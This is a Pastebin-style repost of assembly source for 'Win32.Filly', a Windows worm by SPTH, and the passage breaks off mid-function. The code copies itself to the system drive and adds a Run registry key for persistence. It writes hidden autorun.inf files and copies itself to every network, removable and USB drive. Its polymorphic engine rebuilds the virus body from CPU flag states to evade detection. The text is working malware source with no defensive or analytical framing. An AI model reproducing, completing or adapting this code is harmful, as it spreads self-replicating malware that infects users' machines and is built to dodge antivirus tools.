Advertisement
FlyFar

Worm.Win32.Filly - Source Code

Jul 8th, 2023
1,435
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 40.68 KB | Cybersecurity | 0 0
  1. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  2. ;;
  3. ;;  Win32.Filly
  4. ;;  by SPTH
  5. ;;  February 2012
  6. ;;
  7. ;;
  8. ;;  This is a worm which spreads via network/removable/USB drives.
  9. ;;
  10. ;;  It uses a novel polymorphic engine, namely the virusbody is created
  11. ;;  at runtime using flags. The virusbody does not exist in any encrypted
  12. ;;  data or transformed code, but just appears as shadow of the execution of
  13. ;;  some overlayed instruction-flow.
  14. ;;
  15. ;;  Every nibble (half byte) of the virus is represented as a code which
  16. ;;  sets or clears SF,AF,PF,CF. After the code snippet of one nibble is
  17. ;;  executed, either LAHF or PUSHFD is used to get the flags. The flags
  18. ;;  are saved in an allocated memory, which will be executed after
  19. ;;  the reconstruction.
  20. ;;
  21. ;;  It can use one out of 5 ways to fully determine SF,AF,PF,CF:
  22. ;;
  23. ;;      5 | 0+4 | 1+4 | 2+4 | 4+0
  24. ;;
  25. ;;  where each number represents a set of instruction with different behaviour
  26. ;;  with respect to flags:
  27. ;;
  28. ;;      0: CF:
  29. ;;         ROL, ROR
  30. ;;
  31. ;;      1: AF, CF (PF, SF undefined):
  32. ;;         AAA, AAS
  33. ;;
  34. ;;      2: CF PF (AF undefined, SF undefined);
  35. ;;         SHL, SHR, SAL, SAR
  36. ;;
  37. ;;      3: PF SF (AF undefined, CF undefined):
  38. ;;         AND, XOR, TEST
  39. ;;
  40. ;;      4: AF PF SF:
  41. ;;         DEC, INC
  42. ;;
  43. ;;      5: AF CF PF SF:
  44. ;;         ADD, CMP, NEG, SUB
  45. ;;
  46. ;;  All sets can be used as functional trash code, prior to the actual determining
  47. ;;  instruction sets. Registers and type (Instr Reg1, Reg2 or Instr Reg1, NNNN) are
  48. ;;  random in that case.
  49. ;;
  50. ;;  For finding the correct composition of instruction and register values to get
  51. ;;  the the desired flag combination, I use a semi-deterministic algorithm. This means
  52. ;;  i give correct flag dependences, the the code goes in a loop searching randomly
  53. ;;  for correct parameters - for each nibble of the code. In some cases, a desired
  54. ;;  combination of flags can not be created with the choosen instruction - in that case
  55. ;;  after 42 loops, an infinite-loop handler is called, which exits the loops and choses
  56. ;;  another instruction to create the flag-combination. This procedere is unexpectedly
  57. ;;  fast - in fact, even there are ~6100 random loops running, there is no noticeable
  58. ;;  delay.
  59. ;;
  60. ;;  The encrypted code-flow has a different size each generation. As its boring to code a
  61. ;;  file size adjustment tool, I keep a constant filesize with following statistical
  62. ;;  argument: In a set of 20 different files, I looked at the maximum size the used
  63. ;;  code section: 175713, 175477, 175261, 175262, 177070, 176241, 177109, 175749, 172610,
  64. ;;  176471, 174657, 174682, 175275, 176186, 176004, 174359, 173549, 174638, 174684, 173893 bytes.
  65. ;;  Average of the set: 175269 +/- 1148.65.
  66. ;;  For padding, I used average + 7 sigma = 183'312. The probability that something
  67. ;;  goes wrong is 1 / (390'682'215'445), while the probability that everything goes
  68. ;;  right is 99.999999999744% - this is enough for my taste :)
  69. ;;
  70. ;;  Now here you can see a generated code:
  71. ;;
  72. ;;         004020B5   . B8 A0AC599E    MOV EAX,9E59ACA0
  73. ;;         004020BA   . C1E0 82        SHL EAX,82
  74. ;;         004020BD   . B8 A5AF1B60    MOV EAX,601BAFA5
  75. ;;         004020C2   . 48             DEC EAX
  76. ;;         004020C3   . 9C             PUSHFD
  77. ;;         004020C4   . 5A             POP EDX
  78. ;;         004020C5   . 8817           MOV BYTE PTR DS:[EDI],DL
  79. ;;         004020C7   . 47             INC EDI
  80. ;;         004020C8   . B9 CBC5FCAC    MOV ECX,ACFCC5CB
  81. ;;         004020CD   . B8 550D859F    MOV EAX,9F850D55
  82. ;;         004020D2   . 29C1           SUB ECX,EAX
  83. ;;         004020D4   . 9C             PUSHFD
  84. ;;         004020D5   . 58             POP EAX
  85. ;;         004020D6   . AA             STOS BYTE PTR ES:[EDI]
  86. ;;         004020D7   . B8 CB5183AB    MOV EAX,AB8351CB
  87. ;;         004020DC   . B9 EEF33292    MOV ECX,9232F3EE
  88. ;;         004020E1   . D3C0           ROL EAX,CL
  89. ;;         004020E3   . BA 8B47E2EB    MOV EDX,EBE2478B
  90. ;;         004020E8   . 4A             DEC EDX
  91. ;;         004020E9   . 9F             LAHF
  92. ;;         004020EA   . 8827           MOV BYTE PTR DS:[EDI],AH
  93. ;;         004020EC   . 47             INC EDI
  94. ;;         004020ED   . BA F065255E    MOV EDX,5E2565F0
  95. ;;         004020F2   . B9 A5D9FA8B    MOV ECX,8BFAD9A5
  96. ;;         004020F7   . 01CA           ADD EDX,ECX
  97. ;;         004020F9   . B8 8E0FB438    MOV EAX,38B40F8E
  98. ;;         004020FE   . 3F             AAS
  99. ;;         004020FF   . BB 6B6AF3EA    MOV EBX,EAF36A6B
  100. ;;         00402104   . B8 7B9CB043    MOV EAX,43B09C7B
  101. ;;         00402109   . 01C3           ADD EBX,EAX
  102. ;;         0040210B   . 9F             LAHF
  103. ;;         0040210C   . 8827           MOV BYTE PTR DS:[EDI],AH
  104. ;;         0040210E   . 47             INC EDI
  105. ;;
  106. ;;  This code generates 2 bytes of the virus code.
  107. ;;
  108. ;;
  109. ;;
  110. ;;  Thanks alot to hh86 for telling me about this non-standard code
  111. ;;  representation she is working on, and for pointing out that LAHF
  112. ;;  is actually *very* useful :)
  113. ;;
  114. ;;  This is the second member of a new series of self-replicators:
  115. ;;  - Win32.Kitti (overlapping code engine; in valhalla#1)
  116. ;;  - Win32.Filly (code as shadow of overlayed instruction flow; in valhalla#2)
  117. ;;
  118. ;;
  119. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
  120.  
  121.  
  122. include 'E:\Programme\FASM\INCLUDE\win32ax.inc'
  123.  
  124. .data
  125.     hMyFileName dd 0x0
  126.     hFileHandle dd 0x0
  127.     hMapHandle  dd 0x0
  128.     hMapViewAddress dd 0x0
  129.  
  130.     hFileCodeStart dd 0x0
  131.  
  132.     RandomNumber dd 0x0
  133.  
  134.     SpaceForHDC:       dd 0x0   ; should be 0x0, C:\
  135.     RandomFileName: times 13 db 0x0
  136.  
  137.  
  138.     SpaceForHDC2:      dd 0x0   ; should be 0x0, X:\
  139.     RandomFileName2:times 13 db 0x0
  140.  
  141.     stKey: times 47 db 0x0 ; "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0x0
  142.     hKey  dd 0x0
  143.  
  144.  
  145.     stAutorunWithDrive db 0x0, 0x0, 0x0 ; "X:\"
  146.     stAutoruninf: times 12 db 0x0       ; "autorun.inf"
  147.  
  148.  
  149.  
  150.     stAutoRunContent: times 52 db 0x0
  151.  
  152.  
  153.     hCreateFileAR        dd 0x0
  154.     hCreateFileMappingAR dd 0x0
  155.  
  156.     constFileSize  EQU 185344
  157.     constCodeStart EQU 0x400
  158.  
  159.     FlagMask     db 0x0   ; S00A'0P1C
  160.         MaskNibble0 EQU 0000'0001b
  161.         MaskNibble1 EQU 0001'0001b
  162.         MaskNibble2 EQU 0000'0101b
  163.         MaskNibble3 EQU 1000'0100b
  164.         MaskNibble4 EQU 1001'0100b
  165.         MaskNibble5 EQU 1001'0101b
  166.         MaskRandom  EQU 0000'0000b   ; no content - for trash
  167.  
  168.     VerifiedAddress dd 0x0
  169.  
  170.  
  171.     MyStartAddresse dd 0x0
  172.  
  173.     NibbleData  db 0x0
  174.  
  175.     DecryptedCode   dd 0x0
  176.  
  177.  
  178.  
  179. .code
  180. start:
  181. ; ###########################################################################
  182. ; #####
  183. ; #####   Preparation (copy file, get kernel, ...)
  184. ; #####
  185.  
  186. StartEngine:
  187.     call    GetMyStartAddresse
  188.     GetMyStartAddresse:
  189.         pop eax
  190.         sub eax, (GetMyStartAddresse-StartEngine)
  191.  
  192.     mov dword[MyStartAddresse], eax
  193.  
  194.  
  195.  
  196.     push    0x8007
  197.     stdcall dword[SetErrorMode]
  198.  
  199.     stdcall dword[GetCommandLineA]
  200.     mov dword[hMyFileName], eax
  201.     cmp byte[eax], '"'
  202.     jne FileNameIsFine
  203.     inc eax
  204.     mov dword[hMyFileName], eax
  205.  
  206.     FindFileNameLoop:
  207.         inc eax
  208.         cmp byte[eax], '"'
  209.     jne FindFileNameLoop
  210.  
  211.     mov byte[eax], 0x0
  212.     FileNameIsFine:
  213.  
  214.  
  215.     stdcall dword[GetTickCount]
  216.     mov dword[RandomNumber], eax
  217.  
  218.     xor esi, esi
  219.     CopyFileAndRegEntryMore:
  220.         mov ebx, 26
  221.         mov ecx, 97
  222.         call    CreateSpecialRndNumber
  223.  
  224.         mov byte[RandomFileName+esi], dl
  225.         inc esi
  226.         cmp esi, 8
  227.     jb  CopyFileAndRegEntryMore
  228.  
  229.     mov eax, ".exe"
  230.     mov dword[RandomFileName+esi], eax
  231.  
  232.     mov al, "C"
  233.     mov byte[SpaceForHDC+1], al
  234.     mov al, ":"
  235.     mov byte[SpaceForHDC+2], al
  236.     mov al, "\"
  237.     mov byte[SpaceForHDC+3], al
  238.  
  239.     push    FALSE
  240.     push    SpaceForHDC+1
  241.     push    dword[hMyFileName]
  242.     stdcall dword[CopyFileA]
  243.  
  244.  
  245.  
  246. ; #####
  247. ; #####   Preparation (copy file, get kernel, ...)
  248. ; #####
  249. ; ###########################################################################
  250.  
  251.  
  252. ; ###########################################################################
  253. ; #####
  254. ; #####   Open New File
  255. ; #####
  256.  
  257.     push    0x0
  258.     push    FILE_ATTRIBUTE_NORMAL
  259.     push    OPEN_ALWAYS
  260.     push    0x0
  261.     push    0x0
  262.     push    (GENERIC_READ or GENERIC_WRITE)
  263.     push    SpaceForHDC+1
  264.     stdcall dword[CreateFileA]
  265.  
  266.     cmp eax, INVALID_HANDLE_VALUE
  267.     je  IVF_NoCreateFile
  268.     mov dword[hFileHandle], eax
  269.  
  270.     push    0x0
  271.     push    constFileSize
  272.     push    0x0               ; nFileSizeHigh=0 from above
  273.     push    PAGE_READWRITE
  274.     push    0x0
  275.     push    dword[hFileHandle]
  276.     stdcall dword[CreateFileMappingA]
  277.  
  278.     cmp eax, 0x0
  279.     je  IVF_NoCreateMap
  280.     mov dword[hMapHandle], eax
  281.  
  282.     push    constFileSize
  283.     push    0x0
  284.     push    0x0
  285.     push    FILE_MAP_WRITE
  286.     push    dword[hMapHandle]
  287.     stdcall dword[MapViewOfFile]
  288.  
  289.     cmp eax, 0x0
  290.     je  IVF_NoMapView
  291.     mov dword[hMapViewAddress], eax
  292.  
  293. ; #####
  294. ; #####   Open New File
  295. ; #####
  296. ; ###########################################################################
  297.  
  298.     call    DoNibbleTrafo
  299.  
  300.  
  301. ; ###########################################################################
  302. ; #####
  303. ; #####   Close New File
  304. ; #####
  305.  
  306.    IVF_CloseMapView:
  307.     push    dword[hMapViewAddress]
  308.     stdcall dword[UnmapViewOfFile]
  309.  
  310.    IVF_NoMapView:
  311.     push    dword[hMapHandle]
  312.     stdcall dword[CloseHandle]
  313.  
  314.    IVF_NoCreateMap:
  315.     push    dword[hFileHandle]
  316.     stdcall dword[CloseHandle]
  317.  
  318.    IVF_NoCreateFile:
  319.  
  320. ; #####
  321. ; #####   Close New File
  322. ; #####
  323. ; ###########################################################################
  324.  
  325.  
  326. ;        invoke  ExitProcess, 0
  327.  
  328. ; ###########################################################################
  329. ; #####
  330. ; #####   Spread this kitty ;)
  331. ; #####
  332.  
  333. SpreadKitty:
  334. ;  Representation of "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
  335. ;  One could permute it - but too lazy for doing this task atm :)
  336.  
  337.     mov eax, stKey
  338.     mov dword[eax+0x00], "SOFT"
  339.     mov dword[eax+0x04], "WARE"
  340.     mov dword[eax+0x08], "\Mic"
  341.     mov dword[eax+0x0C], "roso"
  342.     mov dword[eax+0x10], "ft\W"
  343.     mov dword[eax+0x14], "indo"
  344.     mov dword[eax+0x18], "ws\C"
  345.     mov dword[eax+0x1C], "urre"
  346.     mov dword[eax+0x20], "ntVe"
  347.     mov dword[eax+0x24], "rsio"
  348.     mov dword[eax+0x28], "n\Ru"
  349.     mov byte[eax+0x2C], "n"
  350.  
  351.     push    0x0
  352.     push    hKey
  353.     push    0x0
  354.     push    KEY_ALL_ACCESS
  355.     push    REG_OPTION_NON_VOLATILE
  356.     push    0x0
  357.     push    0x0
  358.     push    stKey
  359.     push    HKEY_LOCAL_MACHINE
  360.     stdcall dword[RegCreateKeyExA]
  361.  
  362.     push    16
  363.     push    SpaceForHDC+1
  364.     push    REG_SZ
  365.     push    0x0
  366.     push    0x0
  367.     push    dword[hKey]
  368.     stdcall dword[RegSetValueExA]
  369.  
  370.     push    dword[hKey]
  371.     stdcall dword[RegCloseKey]
  372.  
  373.     xor eax, eax
  374.     mov dword[stAutorunWithDrive], "X:\a"
  375.     mov dword[stAutorunWithDrive+2], "\aut"
  376.     mov dword[stAutoruninf+3], "orun"
  377.     mov dword[stAutoruninf+7], ".inf"
  378.  
  379.     mov dword[stAutoRunContent], "[Aut"
  380.     mov dword[stAutoRunContent+0x04], "orun"
  381.     mov dword[stAutoRunContent+0x08], 0x530A0D5D
  382.     mov dword[stAutoRunContent+0x0C], "hell"       ; !!!!!!!
  383.     mov dword[stAutoRunContent+0x10], "Exec"
  384.     mov dword[stAutoRunContent+0x14],  "ute="
  385.     mov eax, dword[RandomFileName]    ; Filename: XXXXxxxx.exe
  386.     mov dword[stAutoRunContent+0x18], eax
  387.     mov eax, dword[RandomFileName+0x4]    ; Filename: xxxxXXXX.exe
  388.     mov dword[stAutoRunContent+0x1C], eax
  389.     mov dword[stAutoRunContent+0x20], ".exe"
  390.     mov dword[stAutoRunContent+0x24], 0x73550A0D
  391.     mov dword[stAutoRunContent+0x28], "eAut"
  392.     mov dword[stAutoRunContent+0x2C], "opla"
  393.     mov dword[stAutoRunContent+0x30],  0x00313D79
  394.  
  395.     ; i like that coding style, roy g biv! :))
  396.     push    51
  397.     push    0x0
  398.     push    0x0
  399.     push    FILE_MAP_ALL_ACCESS
  400.     push    0x0
  401.     push    51
  402.     push    0x0
  403.     push    PAGE_READWRITE
  404.     push    0x0
  405.     push    0x0
  406.     push    FILE_ATTRIBUTE_HIDDEN
  407.     push    OPEN_ALWAYS
  408.     push    0x0
  409.     push    0x0
  410.     push    (GENERIC_READ or GENERIC_WRITE)
  411.     push    stAutoruninf
  412.  
  413.     stdcall dword[CreateFileA]
  414.     push    eax
  415.     mov dword[hCreateFileAR], eax
  416.     stdcall dword[CreateFileMappingA]
  417.     push    eax
  418.     mov dword[hCreateFileMappingAR], eax
  419.     stdcall dword[MapViewOfFile]
  420.  
  421.     xor cl, cl
  422.     mov esi, stAutoRunContent
  423.     MakeAutoRunInfoMore:
  424.         mov bl, byte[esi]
  425.         mov byte[eax], bl
  426.         inc eax
  427.         inc esi
  428.         inc ecx
  429.         cmp cl, 51
  430.     jb  MakeAutoRunInfoMore
  431.  
  432.     sub eax, 51
  433.     push    dword[hCreateFileAR]
  434.     push    dword[hCreateFileMappingAR]
  435.     push    eax
  436.     stdcall dword[UnmapViewOfFile]
  437.     stdcall dword[CloseHandle]
  438.     stdcall dword[CloseHandle]
  439.  
  440.     mov dword[SpaceForHDC2+1], "A:\."
  441.     mov eax, dword[RandomFileName]
  442.     mov dword[RandomFileName2], eax     ; XXXXxxxx.exe
  443.     mov eax, dword[RandomFileName+0x04]
  444.     mov dword[RandomFileName2+0x04], eax    ; xxxxXXXX.exe
  445.     mov eax, dword[RandomFileName+0x08]
  446.     mov dword[RandomFileName2+0x08], eax    ; .exe
  447.  
  448.  
  449.    SpreadKittyAnotherTime:
  450.     mov dword[SpaceForHDC2], 0x003A4100    ; 0x0, "A:", 0x0
  451.  
  452.    STKAnotherRound:
  453.     push    SpaceForHDC2+1
  454.     stdcall dword[GetDriveTypeA]
  455.  
  456.     xor ebx, ebx    ; 0 ... No Drive
  457.                 ; 1 ... Drive (without autorun.inf)
  458.                 ; 2 ... Drive (with autorun.inf)
  459.  
  460.     mov cl, '\'
  461.     mov byte[SpaceForHDC2+3],cl
  462.  
  463.  
  464.     cmp al, 0x2
  465.     je  STKWithAutoRun
  466.  
  467.     cmp al, 0x3
  468.     je  STKWithoutAutoRun
  469.  
  470.     cmp al, 0x4
  471.     je  STKWithAutoRun
  472.  
  473.     cmp al, 0x6
  474.     je  STKWithAutoRun
  475.  
  476.     jmp STKCreateEntriesForNextDrive
  477.  
  478.     STKWithAutoRun:
  479.  
  480.     push    FALSE
  481.     push    stAutorunWithDrive
  482.     push    stAutoruninf
  483.     stdcall dword[CopyFileA]
  484.  
  485.     STKWithoutAutoRun:
  486.  
  487.     push    FALSE
  488.     push    SpaceForHDC2+1
  489.     push    SpaceForHDC+1
  490.     stdcall dword[CopyFileA]
  491.  
  492.  
  493.     STKCreateEntriesForNextDrive:
  494.     xor eax, eax
  495.     mov al, byte[SpaceForHDC2+1]
  496.     cmp al, "Z"
  497.     je  SpreadThisKittyEnd
  498.  
  499.     inc al
  500.     mov byte[SpaceForHDC2+1], al    ; next drive
  501.     mov byte[stAutorunWithDrive], al    ; next drive
  502.     mov byte[SpaceForHDC2+3], ah    ; 0x0, "X:", 0x0
  503.    jmp STKAnotherRound
  504.  
  505.  
  506.    SpreadThisKittyEnd:
  507.     call    GetRandomNumber
  508.     mov eax, dword[RandomNumber]
  509.     and eax, (0x8000 - 1)   ; 0-32 sec
  510.  
  511.     push    eax
  512.     stdcall dword[Sleep]
  513.  
  514.     call    GetRandomNumber
  515.     mov eax, dword[RandomNumber]
  516.     and eax, (0x100-1)
  517.     jnz SpreadKittyAnotherTime
  518.  
  519. jmp SpreadKittyAnotherTime
  520.  
  521. ; #####
  522. ; #####   Spread this kitty ;)
  523. ; #####
  524. ; ###########################################################################
  525.  
  526.  
  527.  
  528. DoNibbleTrafo:
  529.  
  530.     mov edi, dword[hMapViewAddress]
  531.     add edi, constCodeStart
  532.  
  533. ;;;;;;;;;;;;;;;;;;;;;;;;;;;
  534. ;;
  535. ;; First create the VirtualAlloc code and save the value
  536. ;;
  537.  
  538.    virtual at 0         ; cool FASM feature:
  539.                 ; this compiles code virtually
  540.                 ; and one can use variables to access it
  541.                 ; ideal for our purpose :)
  542.     invoke  VirtualAlloc, 0x0, 100'000, 0x1000, PAGE_EXECUTE_READWRITE
  543.     mov dword[DecryptedCode], eax
  544.     xchg    edi, eax
  545.     mov edi, edi    ; just for padding...
  546.                 ; uuhh, do we know this instruction? ;)
  547.  
  548.     load iVirtualCodeA dword from 0
  549.     load iVirtualCodeB dword from 4
  550.     load iVirtualCodeC dword from 8
  551.     load iVirtualCodeD dword from 12
  552.     load iVirtualCodeE dword from 16
  553.     load iVirtualCodeF dword from 20
  554.     load iVirtualCodeG dword from 24  ; i hate "word", 2byte data-types.
  555.    end virtual               ; they are just unelegant...
  556.  
  557.  
  558.     mov dword[edi+00], iVirtualCodeA
  559.     mov dword[edi+04], iVirtualCodeB
  560.     mov dword[edi+08], iVirtualCodeC
  561.     mov dword[edi+12], iVirtualCodeD
  562.     mov dword[edi+16], iVirtualCodeE
  563.     mov dword[edi+20], iVirtualCodeF
  564.     mov dword[edi+24], iVirtualCodeG
  565.     add edi, 26
  566.  
  567.     mov dword[VerifiedAddress], edi
  568.  
  569. ;;
  570. ;; First create the VirtualAlloc code and save the value
  571. ;;
  572. ;;;;;;;;;;;;;;;;;;;;;;;;;;;
  573.  
  574.  
  575. ;;;;;;;;;;;;;;;;;;;;;;;;;;;
  576. ;;
  577. ;; Now create the whole representation of the code in form of flags
  578. ;; of some other random code ( main engine )
  579. ;;
  580.     mov esi, dword[MyStartAddresse]
  581.  
  582.     CreateCodeForAllBytes:
  583.     mov al, byte[esi]
  584.  
  585.     mov byte[NibbleData], al
  586.     and byte[NibbleData], 0000'1111b
  587.     push    esi
  588.     call    CreateCodeForNibble
  589.     pop esi
  590.  
  591.     mov al, byte[esi]
  592.     shr al, 4         ; get the second nibble of this byte
  593.     mov byte[NibbleData], al
  594.     and byte[NibbleData], 0000'1111b
  595.     push    esi
  596.     call    CreateCodeForNibble
  597.     pop esi
  598.  
  599.     inc esi
  600.  
  601.     mov ebx, dword[MyStartAddresse]
  602.     add ebx, (WholeCodeEnd-StartEngine)
  603.     cmp esi, ebx
  604.     jne CreateCodeForAllBytes
  605.  
  606.  
  607. ;;
  608. ;; Now create the whole representation of the code in form of flags
  609. ;; of some other random code ( main engine )
  610. ;;
  611. ;;;;;;;;;;;;;;;;;;;;;;;;;;;
  612.  
  613. ;;;;;;;;;;;;;;;;;;;;;;;;;;;
  614. ;;
  615. ;; In the end, rearrange the information to extract the viral code
  616. ;;
  617.  
  618.    virtual at 0
  619.         mov     ecx, dword[DecryptedCode]
  620.         mov     edx, ecx
  621.  
  622.     ReorganizeMore:
  623.         mov     bh, byte[ecx]
  624.         inc     ecx
  625.             push   0              ; Some PIC workaround :)
  626.             jmp    Decrypt
  627.             ReorganizeFirstNibbleBack:
  628.  
  629.         and     al, 0000'1111b
  630.         push    eax
  631.  
  632.  
  633.  
  634.         mov     bh, byte[ecx]
  635.         inc     ecx
  636.  
  637.             push   1
  638.             jmp    Decrypt
  639.             ReorganizeSecondNibbleBack:
  640.  
  641.         and     al, 0000'1111b
  642.         shl     al, 4
  643.         pop     ebx
  644.         add     al, bl
  645.  
  646.         mov     byte[edx], al
  647.         inc     edx
  648.         mov     eax, dword[DecryptedCode]
  649.         add     eax, (WholeCodeEnd-StartEngine)
  650.  
  651.         cmp     edx, eax
  652.     jne ReorganizeMore
  653.  
  654.     jmp dword[DecryptedCode]
  655.  
  656.  
  657.     Decrypt:
  658.  
  659.     ; in:   bh=S00A'0P1C
  660.     ; out:  al=0000'SAPC
  661.         mov     al, bh     ; al=S00A'0P1C
  662.         and     al, 0000'0001b ; al=0000'000C
  663.  
  664.         shr     bh, 1      ; bh=0S00'A0P1
  665.         push    ebx
  666.         and     bh, 0000'0010b ; bh=0000'00P0
  667.         add     al, bh     ; al=0000'00PC
  668.  
  669.         pop     ebx        ; bh=0S00'A0P1
  670.         shr     bh, 1      ; bh=00S0'0A0P
  671.         push    ebx
  672.         and     bh, 0000'0100b ; bh=0000'0A00
  673.         add     al, bh     ; al=0000'0APC
  674.  
  675.         pop     ebx        ; bh=00S0'0A0P
  676.         shr     bh, 2      ; bh=0000'S00A
  677.         and     bh, 0000'1000b ; bh=0000'S000
  678.         add     al, bh     ; al=0000'SAPC
  679.  
  680.         pop     ebx
  681.         test    ebx, ebx
  682.  
  683.     jz      ReorganizeFirstNibbleBack
  684.     jmp     ReorganizeSecondNibbleBack
  685.  
  686.     load cVirtualCodeA dword from 0     ; Most likely there is a more elegant
  687.     load cVirtualCodeB dword from 4     ; way to handle this requirement
  688.     load cVirtualCodeC dword from 8     ; using a FASM macro.
  689.     load cVirtualCodeD dword from 12
  690.     load cVirtualCodeE dword from 16    ; But i couldnt find one - tell me
  691.     load cVirtualCodeF dword from 20    ; if you know a way to copy data
  692.     load cVirtualCodeG dword from 24    ; to a memory addresse from a
  693.     load cVirtualCodeH dword from 28    ; virtual compilation space.
  694.     load cVirtualCodeI dword from 32
  695.     load cVirtualCodeJ dword from 36
  696.     load cVirtualCodeK dword from 40
  697.     load cVirtualCodeL dword from 44
  698.     load cVirtualCodeM dword from 48
  699.     load cVirtualCodeN dword from 52
  700.     load cVirtualCodeO dword from 56
  701.     load cVirtualCodeP dword from 60
  702.     load cVirtualCodeQ dword from 64
  703.     load cVirtualCodeR dword from 68
  704.     load cVirtualCodeS dword from 72
  705.     load cVirtualCodeT dword from 76
  706.     load cVirtualCodeU dword from 80
  707.     load cVirtualCodeV dword from 84
  708.     load cVirtualCodeW dword from 88
  709.     load cVirtualCodeX byte  from 92
  710.  
  711.    end virtual
  712.  
  713.     mov dword[edi+00], cVirtualCodeA
  714.     mov dword[edi+04], cVirtualCodeB
  715.     mov dword[edi+08], cVirtualCodeC
  716.     mov dword[edi+12], cVirtualCodeD
  717.     mov dword[edi+16], cVirtualCodeE
  718.     mov dword[edi+20], cVirtualCodeF
  719.  
  720.     mov dword[edi+24], cVirtualCodeG
  721.     mov dword[edi+28], cVirtualCodeH
  722.     mov dword[edi+32], cVirtualCodeI
  723.     mov dword[edi+36], cVirtualCodeJ
  724.     mov dword[edi+40], cVirtualCodeK
  725.  
  726.     mov dword[edi+44], cVirtualCodeL
  727.     mov dword[edi+48], cVirtualCodeM
  728.     mov dword[edi+52], cVirtualCodeN
  729.     mov dword[edi+56], cVirtualCodeO
  730.     mov dword[edi+60], cVirtualCodeP
  731.  
  732.     mov dword[edi+64], cVirtualCodeQ
  733.     mov dword[edi+68], cVirtualCodeR
  734.     mov dword[edi+72], cVirtualCodeS
  735.     mov dword[edi+76], cVirtualCodeT
  736.     mov dword[edi+80], cVirtualCodeU
  737.  
  738.     mov dword[edi+84], cVirtualCodeV
  739.     mov dword[edi+88], cVirtualCodeW
  740.     mov byte[edi+92],  cVirtualCodeX
  741.  
  742. ;;
  743. ;; In the end, rearrange the information to extract the viral code
  744. ;;
  745. ;;;;;;;;;;;;;;;;;;;;;;;;;;;
  746.  
  747.  
  748. ret
  749.  
  750.  
  751. CreateCodeForNibble:
  752. ; 5 possible algos:
  753. ; -> 5
  754. ; -> 0+4 | 1+4 |2+4
  755. ; -> 4+0
  756.  
  757.  
  758.      CreateCodeBeginTrash:
  759.      call    GetRandomNumber
  760.      test    byte[RandomNumber+1], 0000'0011b
  761.      jnz     DoNibbleFindAlgo_NoTrashBegin
  762.          mov     byte[FlagMask], MaskRandom
  763.          mov     bl, byte[RandomNumber+2]
  764.      call    GetRandomNumber
  765.  
  766.          mov     al, byte[RandomNumber]
  767.          and     al, 0000'0111b
  768.  
  769.          jz  GC_Trash_Not0
  770.          call    GenerateNibble0
  771.          jmp     CreateCodeBeginTrash
  772.  
  773.          GC_Trash_Not0:
  774.          dec     al
  775.          jz  GC_Trash_Not1
  776.          call    GenerateNibble1
  777.          jmp     CreateCodeBeginTrash
  778.  
  779.          GC_Trash_Not1:
  780.          dec     al
  781.          jz  GC_Trash_Not2
  782.          call    GenerateNibble2
  783.          jmp     CreateCodeBeginTrash
  784.  
  785.          GC_Trash_Not2:
  786.          dec     al
  787.          jz  GC_Trash_Not3
  788.          call    GenerateNibble3
  789.          jmp     CreateCodeBeginTrash
  790.  
  791.          GC_Trash_Not3:
  792.          dec     al
  793.          jz  GC_Trash_Not4
  794.          call    GenerateNibble4
  795.          jmp     CreateCodeBeginTrash
  796.  
  797.          GC_Trash_Not4:
  798.          dec     al
  799.          jz  CreateCodeBeginTrash
  800.          call    GenerateNibble5
  801.  
  802.     jmp  CreateCodeBeginTrash
  803.     DoNibbleFindAlgo_NoTrashBegin:
  804.  
  805.  
  806.     DoNibbleNewRnd:
  807.         call    GetRandomNumber
  808.         mov al, byte[RandomNumber]
  809.         and al, 0000'0111b
  810.         cmp al, 4
  811.     ja  DoNibbleNewRnd
  812.  
  813.     test    al, -1
  814.  
  815.     jnz DoNibbleFindAlgoNot5
  816.                         ; -> 5
  817.         mov byte[FlagMask], MaskNibble5
  818.         mov bl, byte[NibbleData]
  819.         call    GenerateNibble5
  820.         jmp DoNibbleFinalize
  821.  
  822.  
  823.  
  824.     DoNibbleFindAlgoNot5:
  825.  
  826.     dec al
  827.     jnz DoNibbleFindAlgoNot04
  828.                        ; -> 0+4
  829.  
  830.         mov byte[FlagMask], MaskNibble0
  831.         mov bl, byte[NibbleData]
  832.         call    GenerateNibble0
  833.  
  834.         mov byte[FlagMask], MaskNibble4
  835.         mov bl, byte[NibbleData]
  836.         call    GenerateNibble4
  837.         jmp DoNibbleFinalize
  838.  
  839.  
  840.  
  841.     DoNibbleFindAlgoNot04:
  842.  
  843.     dec al
  844.     jnz DoNibbleFindAlgoNot14
  845.                         ; -> 1+4
  846.         mov byte[FlagMask], MaskNibble5   ; need to clear AF first,
  847.         mov bl, byte[RandomNumber+3]      ; otherwise AAA/AAS influence CF
  848.         and bl, 0000'1011b            ; clear AF
  849.         call    GenerateNibble5
  850.  
  851.         mov byte[FlagMask], MaskNibble1
  852.         mov bl, byte[NibbleData]
  853.         call    GenerateNibble1
  854.  
  855.         mov byte[FlagMask], MaskNibble4
  856.         mov bl, byte[NibbleData]
  857.         call    GenerateNibble4
  858.         jmp DoNibbleFinalize
  859.  
  860.  
  861.  
  862.      DoNibbleFindAlgoNot14:
  863.  
  864.     dec al
  865.     jnz DoNibbleFindAlgoNot24
  866.                         ; -> 2+4
  867.         mov byte[FlagMask], MaskNibble2
  868.         mov bl, byte[NibbleData]
  869.         call    GenerateNibble2
  870.  
  871.         mov byte[FlagMask], MaskNibble4
  872.         mov bl, byte[NibbleData]
  873.         call    GenerateNibble4
  874.         jmp DoNibbleFinalize
  875.  
  876.  
  877.  
  878.      DoNibbleFindAlgoNot24:
  879.                         ; -> 4+0
  880.  
  881.         mov byte[FlagMask], MaskNibble4
  882.         mov bl, byte[NibbleData]
  883.         call    GenerateNibble4
  884.  
  885.         mov byte[FlagMask], MaskNibble0
  886.         mov bl, byte[NibbleData]
  887.         call    GenerateNibble0
  888. ;            jmp DoNibbleFinalize
  889.  
  890.  
  891.      DoNibbleFinalize:
  892.  
  893.     call    GetRandomNumber
  894.     test    byte[RandomNumber], 0001'0000b         ; LAHF or PUSHFD+POP?
  895.     jnz DoNF_PUSHFD
  896.  
  897.     mov byte[edi], 0x9F                ; LAHF
  898.     inc edi
  899.  
